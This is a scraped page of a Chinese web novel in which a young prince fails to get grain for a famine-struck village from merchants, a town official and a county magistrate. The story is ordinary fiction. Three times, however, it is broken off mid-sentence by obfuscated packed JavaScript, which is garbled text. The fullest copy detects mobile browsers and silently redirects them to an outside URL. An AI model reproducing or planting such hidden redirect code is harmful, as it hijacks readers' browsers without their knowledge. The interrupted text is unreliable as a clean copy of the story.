周大伯仍不松口。 “谁来记?谁来看?谁保证不乱?” 陆云逸道:“里正记,族老看,我出银子补一部分粮。” 这话一出,屋里几个人都看向他。 周大伯问:“你出多少?” 陆云逸没有马上答。 他说:“先看祠田粮有多少,再看村里最急的有几户。我的银子可以买粮,但买粮要有路。若镇上米行不卖,银子只是银子。” 周大伯低头想了许久。 最后,他拄着拐杖站起来。 “先开仓看一眼。” 祠堂后有一间小仓。 锁已经生锈。 打开后,一股谷气和霉气混在一起扑出来。仓里有粮,但不多。有几袋稻谷保存得还好,也有两袋底部受了潮,已经生了霉。 周大伯看见霉粮,脸色很难看。 这不是今年才坏的。 是早就没人认真管了。 他拄着拐,半晌没说话。 周里正也沉默。 陆云逸没有趁机责备谁。 责备没有用。 他只是道:“先把没霉的粮称出来。” 周里正叫了两个族中男人过来。 几人忙了一下午,称出能吃的粮不过十来石。若省着些,够几户人家撑一阵,却远远救不了全村。 周大伯坐在祠堂门槛上,脸色灰败。 “就这些了。” 陆云逸看着那几袋粮。 这点粮,若分得不好,救不了人,还会惹出争斗。 “今夜先不分。”他说。 周里正一愣:“不分?” “先列最急的人家。老人、病人、幼童多的在前。家中仍有粮的,先不动。明早当着族老、里正和各户户长的面说清楚。” 周大伯道:“你这样,会有人闹。” “会。”陆云逸道,“但总比夜里偷偷分好。” 周里正看着他,忽然觉得这个外来公子不像是第一次处理这种事。可陆云逸确实年轻,年轻得甚至还未真正有胡须。 他忍不住问:“陆公子以前管过仓?” 陆云逸摇头。 “没有。” “那你怎么知道这些?” 陆云逸想了想。 “在京中看过一些旧案。” 其实他看过的何止旧案。 王府先生教过灾政,户部旧册里写过赈济,宫中太傅讲过社仓与义仓的利弊。那时他坐在书房里,只觉得这些都是治国之术,是纸上的道理。如今站在湾湾村小小的祠堂前,看着几袋发霉的稻谷,才知道纸上每一句,都得有人拿命来验。 傍晚时,他们从祠堂回来。 叶成一路都很沉默。 快到家门口时,他低声道:“公子,明日真能分到粮吗?” 陆云逸道:“不知道。” 叶成怔了一下。 他以为陆云逸会说能。 陆云逸却道:“能不能分到,要看谁更急。若别人家比你家更急,便先给别人。” 叶成嘴唇动了动。 若换从前,他也许会不服。 可这些日子饿下来,他知道村里确实有人比叶家更难。有一家寡妇带三个孩子,前几日已经开始挖草根。还有一户老人病在床上,儿子外出做工未归,家里只剩一个儿媳撑着。 叶成低下头。 “我懂。” 这句话说得艰难。 穷人不是天生慷慨。 只是苦看得多了,便知道自家不是唯一苦的人。 回到叶家时,田氏正在灶前煮菜糊。叶开阳坐在门槛上,见陆云逸回来,立刻站起身。 “公子,里正家有米吗?” 陆云逸道:“有一点。” “会给我们吗?” “还不知道。” 叶开阳想了想,又问:“一点是多少?” 陆云逸捡起树枝,在地上画了十个小圈。 “假如全村需要这么多。” 他又在旁边画了一个小圈。 “现在只有这些。” 叶开阳蹲下来看。 “那不够。” “嗯。” “那怎么办?” 陆云逸没有马上答。 他在地上又写了一个字。 仓。 叶开阳看着这个字。 “仓是什么?” “放粮的地方。” “仓里有粮,人就不会饿吗?” 陆云逸道:“仓里有粮,还要有人管。管得好,能救人;管不好,粮会霉,也会被人藏起来。” 叶开阳似懂非懂。 她用树枝照着写“仓”。 这个字比“粮”简单些。 可她写了两遍,都把上头写歪了。 “仓也难。” 陆云逸看着她写字,轻声道:“是。” 屋里,田氏盛出一碗菜糊,端给陆云逸。 她如今走路仍慢,但比先前稳一些。 “公子先吃。” 陆云逸接过碗,忽然觉得这碗很重。 里面米不多,大多是菜叶和一点糠。可在这样的日子里,叶家仍旧先给他盛了一碗。 他低头吃了一口。 苦。 却必须咽下去。 夜里,村中不太安静。 许多人已经知道祠堂后仓开了。有人说周里正要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她愣了一下,像没想到第一个会叫自己。周围有人不满,有人叹气。她抱着孩子走上前,接过半袋稻谷时,眼泪一下就下来了。 第二户是一个病老人的家。 第三户是两个幼童的家。 每分一户,周里正便让人记一笔。 姓名,口数,借粮多少,来年如何还。 李家、赵家、陈家、叶家。 写到叶家时,叶成站在下面,没有动。 周里正看他。 “叶成,你家也难。” 叶成低着头。 “先给别人吧。” 周里正有些意外。 陆云逸看了叶成一眼。 叶成的脸涨得通红,像是做了一件比挨饿还难的事。 他不是忽然不饿了。 也不是不怕家里断粮。 只是昨日陆云逸说过,若别人更急,便先给别人。他听进去了,却听得很痛苦。 粮分到一半时,争吵又起。 有人说赵寡妇多拿了。 有人说周里正偏心本族。 有人说陆公子既然有钱,为何不多买些米来,害大家在这里争几袋祠粮。 这话一出,许多人都看向陆云逸。 周里正脸色一变,正要呵斥。 陆云逸却开口了。 “我会去镇上买粮。” 人群一下安静。 陆云逸看着他们。 “但镇上米行肯不肯卖,卖多少,价多少,还未可知。我有银子,不代表米会自己长出来。今日这些粮,是让最急的人先撑几日。若有人觉得不公,可以现在说出自家口数、余粮、病弱。我让里正重新记。” 没人立刻接话。 因为谁都想说自己家最难。 可真要当众报出自家余粮,又没人愿意。 陆云逸继续道:“粮不够,谁都怕。但若今日抢了仓,明日就什么都没有。若今日还能记账,明日就还有商量。” 人群沉默着。 这话并不能让所有人心服。 可是仓门前站着几个壮年,周大伯拄着拐,周里正手里拿着册子,陆云逸又说会去镇上买粮。众人心里再急,也暂时压住了。 那天,祠粮分出去一半。 剩下一半封回仓里,留给接下来几日最急的人。 叶家没有拿粮。 回去路上,叶成一直不说话。 叶开阳跟在旁边,怀里抱着陆云逸让她带回来的半捆柴。走到田埂边,她忽然问:“爹,你饿吗?” 叶成愣了一下。 “饿。” “那你为什么不要粮?” 叶成看着女儿。 这问题很简单,却叫他答不上来。 过了很久,他才道:“别人比咱们更饿。” 叶开阳想了想。 “那我们明日会更饿吗?” 叶成没有回答。 陆云逸替他答了。 “会。” 叶开阳抬头看他。 陆云逸道:“所以明日要去买粮。” “买得到吗?” “不知道。” 叶开阳皱眉。 她不喜欢“不知道”。 因为这三个字后面,常常跟着坏事。 她低头看着自己的脚尖,过了一会儿,小声问:“公子,买粮的买字怎么写?” 陆云逸在田埂边停下,用树枝写给她看。 买。 叶开阳看了一会儿。 “这个字下面像人被压着。” 陆云逸一怔。 他从前从未这样看过这个字。 叶开阳又问:“卖呢?” 陆云逸又写了一个。 卖。 她看着两个字,分辨了很久。 “买和卖长得像。” 陆云逸道:“是。” “那为什么有人买不到,有人却能卖很多?” 风从桑田里吹过来。 那些还未抽芽的枝条密密麻麻,像一片沉默的网。 陆云逸看着地上的两个字。 买。 卖。 他忽然觉得,这两个字并不比粮简单。 “因为中间还有许多别的字。” 他说。 叶开阳问:“什么字?” 陆云逸想了想,在地上又写了几个。 价。 仓。 税。 路。 权。 叶开阳一个都不认识。 她蹲在那里,看了很久。 最后说:“这些字都不好看。” 陆云逸轻声道:“嗯。” 确实不好看。 因为它们不只是字。 它们会拦在人和饭之间。 15. 米价高悬百姓愁 第二日天还没亮,陆云逸便动身去了镇上。 叶成本想跟着,被他拦下。 “村里昨日刚分了祠粮,今日人心不稳。你留在家里,也留意村中动静。” 叶成听了这话,便不敢再坚持。 其实他也知道,自己跟去未必有用。镇上的米行掌柜见了他,只会隔着门说没米;镇上的差役见了他,也只会嫌他聒噪。陆云逸不同。陆云逸是外来的公子,衣着谈吐不凡,又有银子。叶成想,也许这样的人去了,米行会肯卖些。 叶开阳站在门边,眼睛还没完全睁开。 她昨夜睡得晚,早晨却仍爬起来烧了水。 陆云逸接过水囊时,她问:“公子,今日能买到粮吗?” 陆云逸看着她。 “我尽力。” 叶开阳不喜欢这个回答。 她已经学会了,有些话听着稳,其实并不稳。比如“还能撑几日”,比如“下月再说”,比如“我尽力”。 可她没有再问,只把水囊递过去。 “那你早些回来。” 陆云逸点点头,转身出了湾湾村。 冬日清晨的田埂上有霜。桑树光秃秃地立在地里,枝条灰黑,像许多伸向天的枯手。远处有几户人家已经升了烟,只是那烟很淡,飘到半空便散了。 湾湾村到镇上不算近。 平日里村人去赶集,天不亮出门,到晌午才能回来。若挑着东西,路上还要歇两回。陆云逸脚程快,可到了镇上时,也已经过了辰时。 镇子不大,却因邻近几处水村,平日还算热闹。米行、药铺、布铺、铁匠铺都挤在一条长街上。往年腊月,街上该有卖年货的,卖灶糖的,卖红纸的。如今摊子仍摆着,只是买的人少。 街角有个老头卖红纸,对着冷风搓手。 红纸被压在石头下,边角卷起,鲜红得有些突兀。 米行门口已经站了几个人。 他们手里都拿着袋子,脸上带着一种小心的急切。米行的门只开了一半,门内有两个伙计搬着米袋,却不是往外卖,而是往后院抬。 陆云逸走上前。 掌柜站在柜台后,算盘放在手边,脸色不怎么好看。见又有人来,他头也不抬便道:“今日没米。” 陆云逸道:“我买得不多。” 掌柜这才抬眼看他。 见他不像寻常乡民,语气稍缓。 “公子若自家吃,买两升碎米还成。若要整袋,真没有。” 陆云逸道:“我要买十石。” 掌柜脸色立刻变了。 门口几个人也看过来。 “十石?”掌柜笑了一声,“公子说笑了。” “我不赊欠,现银。” 陆云逸把银票放在柜台上。 掌柜看见银票,眼神动了动,可很快又收了回去。 “不是银子的事。米已经订出去了。” “订给谁?” 掌柜皱眉:“这便不好说了。行里有行里的规矩。” “镇上缺粮,你们仍可把米全订给大户?” 掌柜的脸沉下来。 “公子这话就重了。我们开门做生意,谁先下定,便先给谁。粮不是官仓粮,是我们商号自己收来的。有人十日前交了定银,如今来提货,我难道不认契?若今日见公子出价高便转卖,明日谁还敢同我们做买卖?” 陆云逸看着他。 这话有理。 至少在商人的账上有理。 掌柜又道:“再说,外头米船少,运价贵。我们这里也不是粮山粮海。若放开卖,半日就抢空。抢空了,后头的人再来,公子替他们变米出来?” 门口有人忍不住道:“可你昨日还卖给周家二十石!” 掌柜立刻看过去。 “周家半月前下的定。契书在这里。你若半月前也下定,我也卖你。” 那人被堵得说不出话。 陆云逸问:“那碎米呢?” 掌柜道:“碎米也不多。每人限两升。” 陆云逸道:“我出高价。” 掌柜摇头。 “公子别为难我。今日若卖给你十石,外头的人立刻就要砸门。到时候出了乱子,官府先拿我问罪。” 他说完,吩咐伙计舀了两升碎米,推到柜台上。 “公子若要,便拿去。不然,下一位。” 陆云逸没有动。 他看着那两升碎米,忽然觉得自己袖中的银票轻得可笑。 他从前以为银子能买很多东西。 身契,良籍,药,屋顶,棉被,字纸,甚至人的一段安生日子。 可到了粮门前,银子竟只能买两升碎米。 陆云逸离开第一家米行,又去了第二家。 第二家干脆关着门。 伙计从门缝里往外看,只说掌柜不在。陆云逸绕到后巷,正看见几个壮汉在往车上搬米袋。伙计见他看见了,脸色有些慌,却还是硬着头皮说:“这是昨夜订好的货,不零卖。” 第三家米行更客气些。 掌柜亲自出来,给陆云逸作揖。 “公子若早来十日,别说十石,二十石也能商量。如今不成。县里大户、镇上客商、几家酒楼,都早早订了。我们不能毁约。” “湾湾村断粮了。” 掌柜叹气。 “哪个村不难?公子只看湾湾村,我却要看这周围十几个村。今日卖给湾湾村,明日别的村也来。卖谁不卖谁?米行不是衙门,管不得这些。” 陆云逸道:“既然管不得,为何能囤着不卖?” 掌柜脸色微变。 “囤这个字不好听。我们是守约,是等买主来提货。若官府下令平粜,我们自然照办。可官府没有令,公子也不能让我们白担违契的名声。” 陆云逸从米行出来时,长街上已有许多人看着他。 他们看得出他是来买粮的,也看得出他没有买到。 有人眼里露出失望,有人露出一点幸灾乐祸。仿佛看见一个有钱的公子也碰了壁,自己心里便稍微平了一些。 陆云逸没有继续敲米行的门。 他去了镇衙。 说是镇衙,其实不过是镇正办公的一处院子。 此地归县里管辖,镇上平日由镇正管市集、税契、商铺纠纷,又有巡检司管捕盗巡夜。若有大案,仍要报县衙。 镇正姓许,四十多岁,读过些书,穿着一件半旧青袍。听说有人求见,起初不甚在意。等陆云逸递出明亲王府的名帖,他脸色立刻变了。 不多时,陆云逸被请进内堂。 茶端了上来。 点心也端了上来。 许镇正的腰弯得很低。 “小王爷驾临,下官有失远迎。” 陆云逸没有碰茶。 “湾湾村断粮,镇上米行拒卖。我来问,镇上可有办法?” 许镇正一听这话,脸上的恭敬里立刻多了几分苦色。 “小王爷,此事下官已经知道一些。只是镇上没有官仓,存粮都在商号手中。下官能劝,不能强夺。” “不能令其平价出售?” “没有县令文书,下官不敢。” “若商户囤粮抬价呢?” 许镇正道:“若是明着哄抬,自可处置。可他们如今都说粮已有买主,有契书,有定银。有的粮是替外地客商转运,暂存在仓里;有的是酒楼、大户早订。账面上看,并非无故闭仓。” 陆云逸看着他。 “账面上看。” 许镇正额上有汗。 “小王爷,账面虽未必尽是真相,可下官办事,总要凭账面。若无凭据便强开商仓,商户告到县里,下官担不起。” “湾湾村的人饿死,你担得起?” 许镇正脸色白了些。 他张了张嘴,又闭上。 过了好一会儿,才低声道:“还没饿死人。” 这句话轻得几乎听不见。 可陆云逸听见了。 没饿死人,便不好报灾。 没饿死人,便不能强令米行平粜。 没饿死人,便只是米价贵、买粮难,不是荒。 等饿死人时,人已经死了。 陆云逸道:“你可以上报县里。” 许镇正忙道:“已经写了文书。” “何时写的?” “昨日。” 陆云逸看着他。 许镇正脸色更难看。 其实他本不想这么快报。 镇上每年都有缺粮的时候,米价涨跌也常见。若一涨价便报荒,县里会嫌他多事。可昨日祠粮一开,今日几处村子都有人来闹粮,事情压不住了,他才写了文书。 陆云逸没有揭穿。 “文书如何写?” 许镇正让书吏取来草稿。 陆云逸看了一遍。 文书写得很稳。 稳得几乎没有饥荒的影子。 只说近日米价上涨,乡民采买艰难,恳请县中查问商粮,酌情安抚。 陆云逸把纸放下。 “太轻了。” 许镇正低头道:“小王爷,下官也有难处。若写得太重,县里问责,为何此前不报?若写得灾情紧急,又要查实。一查,镇上米行账册齐全,村里田地仍在,桑棉亦有收成,只是市价不好。县里未必认这是荒。” 陆云逸道:“百姓没米下锅,不是荒?” “在小民家里是荒。”许镇正苦笑,“在公文里,未必算。” 陆云逸一时没有说话。 这句话说得太实在。 实在得让人无从反驳。 公文里的荒,要有名目。 水灾,旱灾,蝗灾,兵灾。 可湾湾村这种,不是天一下子毁了田,也不是蝗虫一夜吃了苗。它是许多东西一点一点推出来的:改桑,丝价跌,米船少,运价高,商户闭仓,官府迟疑。 每一件都不够像灾。 合在一起,便足够让人饿死。 陆云逸道:“镇上可有富户愿意借粮?” 许镇正叹了口气。 “我昨日已经请过几家。他们也怕。” “怕什么?” “怕借了收不回来,怕今日借一家,明日十家都上门。更怕消息传开,引人抢粮。”许镇正道,“小王爷,说句不中听的话,越是这种时候,越没人肯先露出自己有粮。” 陆云逸道:“我以银作保。” 许镇正眼睛一亮,又很快暗下去。 “银子有用,可粮不一定有。大户家也未必愿意把仓底露出来。若他们说粮只够自家吃,下官也不能逼着搜。” 陆云逸看着他:“你是不能,还是不敢?” 许镇正沉默。 两者都有。 他不能越权,也不敢得罪镇上大户。那些人同县中胥吏、粮商、乡绅都有关系。今日他为了几个村民强行搜仓,明日他这个镇正便可能做到头。 小王爷能拍拍衣袖走。 他走不了。 许镇正知道自己这样想不光彩,可他确实这样想。 陆云逸也看出来了。 他心里生出一股怒意,却又知道这怒意落不到一处。 米行掌柜可恨吗? 他们守契、逐利、闭门,都在规矩边缘。 许镇正可恨吗? 他圆滑、怕事、推诿,却也确实无权开仓。 县里可恨吗? 也许还不知道实情,也许知道了也要等文书查验。 每个人都有理由。 每个理由合起来,便是一道打不开的粮门。 陆云逸从袖中取出一张银票,放在桌上。 “这些银子,作为购粮定银。镇上米行若愿出粮,按市价,不压价。先供湾湾村和邻近几村最急的人家。” 许镇正看着那张银票。 数额不小。 他眼神动了动。 “小王爷仁厚。” “我不要这句话。”陆云逸道,“我要粮。” 许镇正被堵住。 半晌,他道:“下官尽力。” 陆云逸抬眼看他。 许镇正立刻改口:“下官今日便召几家米行掌柜来议。” “现在。” 许镇正愣住。 陆云逸道:“我等。” 许镇正只好让人去请。 半个时辰后,三家米行掌柜陆续来了。 他们一进门,便觉气氛不对。许镇正坐在侧位,陆云逸坐在上首,茶已经换了两回,却没人喝。 许镇正说明意思。 三位掌柜你看我,我看你,最后还是第一家掌柜开口。 “小王爷愿出银子赈济乡民,是善举。只是小号存粮确实有限,且多有买主。” 第二家掌柜道:“若毁契转卖,商号赔不起。” 第三家掌柜更干脆:“便是挪出几石,也救不了几村。今日卖了,明日人更多。到时候镇上乱起来,谁担?” 许镇正脸色难看。 “诸位总得想想办法。” 第一家掌柜叹气。 “不是不想。若县里下令平粜,大家按令办。若县里开仓放粮,我们也愿出车出人。可现在没有令。小王爷身份尊贵,我们敬重。可生意契约也不是儿戏。” 陆云逸看着他们。 “你们仓里有多少米?” 三人立刻沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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陆云逸站起身。 “给县令写信。” 许镇正一怔。 “下官已经写了文书……” “我写。” 许镇正愣住。 陆云逸道:“你也写一封。比昨日那封重些。写明湾湾村等处已有断粮之户,米行限售,商粮不出,祠仓不足。请求县中查仓、劝粜、调粮。” 许镇正迟疑。 “这样写,若县里责问……” “我另附名帖。” 许镇正不说话了。 陆云逸又道:“巡检司可用吗?” “可用。” “让他们维持米行秩序,不许哄抢,也不许米行夜间偷偷运粮出镇。” 许镇正脸色又变。 “这……” “查验契书。”陆云逸道,“有正式契书、定银、去向清楚的,准运。无契夜运的,先扣,报县。” 这便不是强夺商粮,而是查夜运私粮。 许镇正想了想,觉得勉强能办。 “下官照办。” “今日便办。” …… 陆云逸离开镇衙时,已过午后。 他没有立刻走,而是去了街上买了两个冷硬的炊饼,又买了一小包盐豆。 卖炊饼的妇人见他衣着不俗,原本想给他热一热。陆云逸摇头,说不用。 他坐在镇口一株老榆树下,就着冷水吃完了那两个炊饼。 饼很硬。 咬下去时,牙根都酸。 他却慢慢吃完了。 他不能回叶家。 他若回去,田氏一定会给他盛粥,叶成也会让他吃,叶开阳会把碗推到他面前。那一碗粥也许稀得看不见几粒米,可那仍是叶家今日的口粮。 他吃一口,叶开阳便少一口。 更何况,镇上已经走了一整日,若再回湾湾村,明日去县城便又迟半日。 湾湾村离镇上已经不近。 县城比镇上更远。 从镇上到县城,若坐车也要大半日;若遇上冬日路滑,或水路不通,拖到第二日也寻常。陆云逸不能再把时间折回去。 他回到镇衙,让许镇正派一个可靠差役去湾湾村送话。 话很短: “陆公子已往县城求粮,暂不回村。让叶成守好家中粮,不要随意借人,也不要同人争抢。祠仓粮若分,按里正账册来。让叶开阳每日照旧写字。” 许镇正听到最后一句,有些意外。 “小王爷还要带这句?” 陆云逸道:“带。” 差役领命去了。 陆云逸则带着自己写给县令的信和许镇正重写的文书,雇了一辆驴车,往县城赶。 车走得并不快。 冬日路硬,车轮碾过冻土,颠得人骨头疼。出了镇子以后,路两旁多是荒田和桑地。偶尔经过几个村,村口也都静得很。有人站在门口看车经过,眼神麻木又警惕。 天色渐暗时,车夫说前面有一段路不好走。 “夜里赶不得,容易翻车。” 陆云逸问:“还有多远?” “到县城还有三十来里。若天好,两个多时辰。可这路冻了又化,化了又冻,晚上看不清。” 陆云逸下了车。 “你回去吧。” 车夫愣住。 “公子不坐了?” 陆云逸付了钱。 “我走。” 车夫看着他,像看一个疯子。 “这天都快黑了。” 陆云逸没有解释。 他把信收进怀里,沿着官道往前走。 夜风很冷。 远处县城还看不见。 湾湾村在他身后,叶开阳也在他身后。她大约正蹲在灶边,等差役带回那句话。她会问,县城的县字怎么写;也会问,公子什么时候回来。 陆云逸不知道自己什么时候能回。 他只能往前走。 先到县里。 再往上。 若县里不动,就去府里。 若府里仍慢,就写信回京。 他以为自己只是在同米行、镇正、县令周旋。 很多年后,他才明白,从他没有回湾湾村的那个下午起,他已经开始和时间赛跑。 而他输得很早。 16. 法在人前命在沟 陆云逸赶到县城时,城门已经关了。 冬夜来得早,天黑以后,城墙像一条沉默的黑线压在前头。门洞里点着两盏灯,守门兵卒缩着脖子,靠在火盆边取暖。远处有狗叫声,城外的风贴着地面刮过来,吹得人衣摆猎猎作响。 陆云逸上前叩门。 守门兵卒不耐烦地探出头。 “什么人?城门已闭,明日再进。” 陆云逸从怀中取出名帖。 “有急事求见县令。” 那兵卒接过一看,先是没看明白,转头递给旁边一个年长些的。那人凑到灯下看了看,脸色变了。 “明亲王府?” 几人立刻清醒了些。 可清醒归清醒,城门仍没有立刻开。 年长兵卒隔着门缝打量陆云逸。 他衣裳沾了尘土,身边没有随从,也没有车马。一个自称明亲王府小王爷的人,夜里独自站在县城门外,怎么看都有些不合常理。 那兵卒不敢怠慢,却也不敢轻信。 “公子稍候。” 他说完,派人往县衙报信。 陆云逸站在城门外等。 风很冷。 他从镇上走到这里,脚底已经磨得发疼。怀里的信被他贴身收着,像一块发烫的铁。湾湾村那只缺口碗里还剩三粒石子。今日过去,便只剩两粒。 城门内迟迟没有动静。 过了半个多时辰,终于有县衙的人赶来。 来的是县丞,不是县令。 县丞姓蒋,披着外袍,显然是被夜里叫醒的。他隔着城门先看名帖,又问陆云逸姓名、来处、为何夜至、有无随从。 问得很细。 陆云逸一一答了。 蒋县丞脸上恭敬,眼里却仍有疑色。 “小王爷恕罪。近来粮价不稳,地方上人心浮动,亦有刁民假冒贵人名号滋事。下官不敢不慎。” 陆云逸道:“我能进城了吗?” 蒋县丞迟疑片刻,终于命人开了侧门。 门只开一线。 陆云逸进城后,侧门立刻又合上。 蒋县丞将他迎到县衙侧厅。热茶端上来,火盆也搬近了些。可县令仍没有出现。 陆云逸问:“县令何在?” 蒋县丞道:“大人已经歇下。下官已命人去请。” 这话说得客气,实则仍在拖。 陆云逸看着他。 “湾湾村等处已经断粮。镇上米行闭仓不售,许镇正已经具文上报。我另有亲笔信,请县中立刻调粮。” 蒋县丞接过文书,没有立刻打开,而是先看那张明亲王府名帖。 “小王爷孤身至此,身边可有府中印信?或有驿牌、关防?” 陆云逸道:“有王府名帖。” “名帖自然是有的。”蒋县丞斟酌着说,“只是此地距京甚远,下官等未曾见过小王爷尊容。按理说,贵人出行,身边当有随从护卫,也当经驿站递牒。如今小王爷孤身夜至,又事关粮政……” 他说到这里,没再往下说。 陆云逸听懂了。 他们怀疑他。 不是完全不信,却不敢全信。 若他是真的小王爷,怠慢不得;若他是假的,放他插手粮政,出了乱子,县衙担不起。 陆云逸忽然觉得荒唐。 在镇上,身份让许镇正弯腰奉茶,却不能打开粮仓。 到县里,身份又成了需要查验的东西。 身份有用。 却总在最需要用的时候,被一道道手续拦住。 “要如何验?”陆云逸问。 蒋县丞忙道:“下官已派人去驿站查问。若小王爷先前经过镇驿,应有记录。另可派快马往府城报,请府中转验名帖真伪。” “需要多久?” 蒋县丞低下头。 “最快也要一两日。” 陆云逸声音冷下来。 “湾湾村等不起一两日。” 蒋县丞额上有汗。 “小王爷,粮政非小事。开仓、劝粜、查商粮,皆要有凭据。若身份未明便行事,县尊也难办。” 正说着,外头传来脚步声。 县令终于来了。 县令姓宋,四十上下,脸瘦,眼神清明。他进门后先向陆云逸行礼,礼数周全,却没有过分谄媚。 “小王爷深夜至此,下官失迎。” 陆云逸没有寒暄,将许镇正文书和自己的信递过去。 宋县令读得很快。 读完后,他脸色沉了些。 “湾湾村已经断粮?” “已有数户断顿。祠仓开过,所余不多。镇上米行限售,商粮不出。” 宋县令看向蒋县丞。 蒋县丞低声道:“许镇正文书也是如此,只是……语气略轻。” 宋县令明白了。 地方文书总是这样。 事情没到压不住时,底下不愿写重;等写重时,往往已经迟了。 宋县令问:“小王爷所求为何?” “查县中仓粮,令米行平粜,调粮至湾湾村与邻近断粮村。” 宋县令没有立刻答应。 他走到案前坐下,手指轻轻敲了敲桌面。 “县中常平仓有粮,但不多。去年秋后收储不足,前月府里又调走一批,说是备江防军需。如今若开仓,须上报府城。下官可先行放一部分救急,但数量有限。” “多少?” 宋县令看向蒋县丞。 蒋县丞低声道:“账上约有二百石可动。可县城及周边村镇都在看着。若只给湾湾村,其他地方必闹。若摊开,便如杯水车薪。” 陆云逸道:“先救最急。” 宋县令点头。 “道理如此。但谁最急,要查。若不查便放,保不齐有人冒领、重复领,甚至倒卖。” “那就立刻查。” “夜里查不了。”宋县令道,“明日一早,我派人往湾湾村、赵家湾、南渡口三处核户。” 陆云逸闭了闭眼。 又是明日。 所有人都说明日。 米行说明日。 镇正说明日。 县令也说明日。 可饿肚子的人,是从今天开始饿的。 宋县令似乎看出他的急躁,道:“小王爷,赈粮最怕乱。粮少,人多,若不核清,可能粮还没到村口便被抢了。” 这话也有理。 陆云逸发现自己越来越恨这些“有理”。 “米行呢?”他问。 宋县令道:“县里几家大米行,我明日召来问。” “镇上米行已经以契书、定银、寄仓为由拒卖。” 宋县令皱眉。 “他们惯会如此。” “可是否合法?” 宋县令沉默片刻。 “若账册齐全,确实不易定罪。” 不易定罪。 便不能强开。 不能强开。 便要劝。 劝不动,便再报。 陆云逸感觉自己像走进了一条长巷,前面总有门,每一道门后都有人客客气气地告诉他:再等等,按规矩来。 宋县令唤人取县中粮册。 粮册很厚。 书吏抱来时,陆云逸看见封皮边角已经磨损。宋县令翻开,一项项查给他看。 常平仓。 社仓。 义仓。 军需预备。 商号报备存粮。 每一项都有数字。 可数字在纸上,总显得比粮多。二百石写在册上,好像不少;真要分到几十个村子,便不够看了。 宋县令指着一处道:“此处有一批米,账上写作瑞通行寄仓,待转往府城。” “瑞通行?” 陆云逸抬眼。 宋县令道:“瑞国商人的行号。近年江南丝绸买卖,多有他们参与。” “他们也寄粮?” 宋县令眉头皱得更紧。 “说是行中雇工、船夫所需。也有一部分是沿途采买,转运他处。契书齐全,税也缴了。” 陆云逸看着那行字。 瑞通行。 他想起湾湾村改桑,想起瑞国商人前两年高价收丝,想起今年忽然少了人,压了价,又想起米行说许多粮已有买主。 “今年丝价为何忽跌?”他问。 宋县令看了他一眼。 “商人说,瑞国那边收得少了。” “为何收得少?” “有说海路不稳,有说瑞国自己织造增加,也有说他们前两年囤够了丝。”宋县令道,“这些事,县衙未必查得清。” 陆云逸道:“他们前几年高价收丝,引村民改桑。今年忽然压价,又通过行号寄粮、转运粮。宋大人不觉得巧吗?” 宋县令没有马上答。 蒋县丞脸色微变,忙道:“小王爷慎言。瑞国与本朝有市舶通商之约,商号买卖,只要照章纳税,地方不好无凭生事。” 陆云逸看向宋县令。 宋县令慢慢合上粮册。 “是巧。” 他说得很轻。 蒋县丞急道:“大人……” 宋县令抬手止住他。 “可巧,不是证据。” 陆云逸沉默。 宋县令继续道:“若说瑞商有意扰乱粮市,需要证据。谁收买牙人?谁鼓动改桑?谁压价?谁囤米?米运往何处?是否与丝价相连?这些都要查。查一条商路,不是县衙一纸公文能办的。” 陆云逸知道他说得对。 可对有什么用? 等证据一条条查出来,湾湾村早就饿过一轮了。 宋县令道:“我可以先扣查瑞通行名下未离仓的粮。” 蒋县丞吓了一跳。 “大人,这怕是不妥。瑞通行有市舶司文书,若无凭扣粮,府里问下来……” 宋县令看向陆云逸。 “所以需要小王爷的名帖。” 陆云逸明白了。 宋县令不是不想做事。 他在等一个能分担责任的人。 小王爷的名帖,既是压力,也是遮挡。 陆云逸道:“可以。” 蒋县丞脸色更苦。 “可小王爷身份尚未核实……” 屋里又静了。 这句话绕回来了。 宋县令看着蒋县丞,又看向陆云逸。 “小王爷恕罪。按规矩,确该核实。” 陆云逸问:“若核实要两日,扣粮也要两日后?” 宋县令不答。 这便是答了。 陆云逸忽然笑了一下。 那笑很淡,却让屋里几人都不安。 “我若是真的,耽误两日,百姓饿两日。我若是假的,你们擅自听命,官位不保。二者相比,诸位自然觉得后者更急。” 蒋县丞脸色煞白。 宋县令沉声道:“下官并非只顾官位。” “我知道。”陆云逸道,“所以我还坐在这里。” 宋县令被这句话堵住。 过了片刻,他道:“明早我先以县令名义查各仓,不动粮,只查账和实物。小王爷名帖同时送府城核验。一旦验明,便可扣瑞通行未出仓之粮,劝大户平粜,再开常平仓救急。” “若未验明呢?” 宋县令看着他。 “小王爷自然能验明。” 陆云逸道:“我是问,若府城回文迟迟不到?” 宋县令没有答。 外头更声响起。 已经三更。 陆云逸坐了一夜,却什么粮也没有拿到。 县令答应查。 答应写文。 答应核户。 答应验明身份后扣粮。 每一句都有分量。 可每一句都要时间。 而时间,正是湾湾村没有的东西。 …… 第二日一早,县衙派出两队人。 一队去湾湾村等地核户,一队去查县中仓粮和商号寄仓。陆云逸原本要跟去仓里,却被宋县令劝住。 “若小王爷同去,商号必说官府受贵人胁迫。先让县中书吏和仓官按例查验,名正言顺些。” 名正言顺。 这四个字又把他拦住。 他只能等。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520941|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府城验帖。 